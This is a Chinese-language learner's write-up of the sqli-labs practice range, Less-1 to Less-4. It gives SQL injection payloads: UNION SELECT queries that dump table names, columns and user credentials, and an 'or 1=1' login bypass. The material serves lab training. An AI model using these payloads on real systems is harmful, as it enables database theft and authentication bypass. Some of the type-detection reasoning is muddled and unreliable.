目录
什么是SQL注入
SQL注入(SQL Injection)是一种非常常见的网络攻击手段,它利用了网站应用程序在构建数据库查询时的不当处理,使得攻击者能够插入或“注入”恶意的SQL代码片段。这些恶意的SQL代码片段被服务器执行后,可能会泄露敏感信息、修改数据库中的数据、甚至控制整个服务器。
sqli-labs靶场 Less-1(GET_非盲注)
#该靶场是按难度划分的,对于新手是一个很好的练习场
题目提示:Please input the ID as parameter with numeric value:请输入ID作为数值参数
SQL注入流程
简单的注入(判断是否为SQL注入)
ip/Less-1/?id=1 (发现出现了登录账号和密码,确实存在SQL注入)
?id=1' (正常,很大几率不存在注入;不正常,存在注入)
判断注入类型
如何判断是字符型还是数字型呢,有一种方法:
数字型:
- 1 and 1=1 (能回显)
- 1 and 1=2 (不能回显)
字符型:
- 1' and 1=1# (能回显)
- 1' and 1=2# (不能回显)
如果输入的参数为字符串时,称为字符型,数字型需要'(单引号)闭合,而字符型不需要。
ip/Less-1/?id=1 and 1=1 能回显
ip/Less-1/?id=1 and 1=2 能回显
以上可知是字符型
判断闭合方式
ip/Less-1/?id=1\
报错后面0,1'是'(单引号),则单引号闭合,也就是注入点
万能SQL注入密码
先确定是什么闭合方式,此题为单引号闭合
admin' or 1=1 -- (后面一个空格,#和-- (有个空格)表示注释,可以使它们后面的语句不被执行。在ur中,如果是get请求 (记住是get请求,也就是我们在浏览器中输入的ur) ,解释执行的时候,u中#号是用来指导浏览器动作的,对服务器端无用。所以HTTP请求中不包括#,因此使用#闭合无法注释,会报错,而使用--(有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。)
万能密码原理解释
数据库的表示为:Select name,password From users Where name='admin' and password= or 1=1 --%20
优先级:and>or,and前后都为true,则绕过后面的password检查
判断字段数
如果报错就是超过字段数,如果显示正常就是没有超出字段数。
ip/Less-1/?id=1' order by 3--+
ip/Less-1/?id=1' order by 4--+ 报错则说明3列
判断报错位置
也就是显示位,就是看哪一列是能显示的,当union前面的语句为false,才会执行后面的语句,下面可以看出第二列和第三列数据是能显示
ip/Less-1/?id=-1' union select 1,2,3--+
判断库名
ip/Less-1/?id=-1' union select 1,database(),3--+或者?id=-1' union select 1,2,database() --+
得到数据库名:security
判断版本号
?id=-1' union select 1, 2,version() --+
版本号为:5.5.44
判断表名字
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
#这里说明一下为什么是从information_schema.tables中读取。现在已知数据库为security,爆出该库的表名
以下可得出表:emails,referers,uagents,users
判断字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆出字段:id,username,password
爆出数据
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
sqli-labs靶场 Less-2(GET_非盲注)
?id=1和?id=2的响应不一样,存在SQL注入漏洞
判断为数字型
判断为单引号闭合
ip/Less-2/?id=1\
判断字段数为3
判断报错位(回显位)
ip/Less-2/?id=-1' union select 1,2,3--+不行就去掉单引号
和第一关一样,也是2,3字段有回显
判断库名security
?id=-1 union select 1,database(),3--+
判断表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
判断字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆出数据
?id=-1 union select 1,2,group_concat(id,username,':',password) from users--+
输出格式可以自行调整,为了方便看数据
sqli-labs靶场 Less-3(GET_非盲注)
判断为字符型
判断为')闭合
判断字段数为3
?id=1') order by 3--+
判断报错位(回显)
?id=-1') union select 1,2,3--+
判断库名
?id=-1') union select 1,database(),3--+
判断表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
判断字段名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆出数据
?id=-1') union select 1,2, group_concat(username,':',password) from users--+
sqli-labs靶场 Less-4(GET_非盲注)
判断为")闭合
判断字段数为3
判断报错位(回显)
判断库名
判断表名
判断字段
爆出数据
以上就是小白的GET_非盲注的学习记录,不喜勿喷,如果有错误,希望各师傅来纠正,下一篇更新GET_盲注的几种情况,果然还是自己学习记录能加深印象,如有雷同,纯属巧合。